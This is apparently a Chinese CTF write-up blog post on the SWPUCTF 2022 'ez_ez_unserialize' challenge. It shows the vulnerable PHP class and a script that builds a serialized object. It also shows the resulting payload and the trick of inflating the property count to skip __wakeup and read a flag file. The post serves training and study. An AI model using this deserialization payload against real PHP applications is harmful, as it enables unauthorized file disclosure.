0%

[[SWPUCTF 2022 新生赛]ez_ez_unserialize]

2025-09-10 20:00By
xadmin
反序列化PHPRCE

Problem: [SWPUCTF 2022 新生赛]ez_ez_unserialize

思路

1/绕过 __wakeup
之前我们知道__wakeup这个魔术方法被调用的条件是使用了unserialize语句。那如何在使用了unserialize语句的同时绕过__wakeup方法的调用呢?

在输入反序列化数据时修改成员属性数量使大于实际数量即可。

2/源码审计

class X { public $x = __FILE__; function __construct($x) { $this->x = $x; } function __wakeup() //这个方法的结果是强制修改属性 x 的值为 __FILE_ { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); } else { highlight_file(__FILE__); }
$_REQUEST:包含了通过 GET、POST 或 COOKIE 传递的所有数据 highlight_file($this->x):显示文件内容

3/构造 pop 链

<?php class X { public $x = 'fllllllag.php'; } $a = new X; echo serialize($a); ?>

输出的反序列化数据:

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改使 “X” 后的 1(成员属性数量) 大于 1(实际数量) 即可。

4/get 或者 post 输入

EXP

  • 具体攻击代码

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论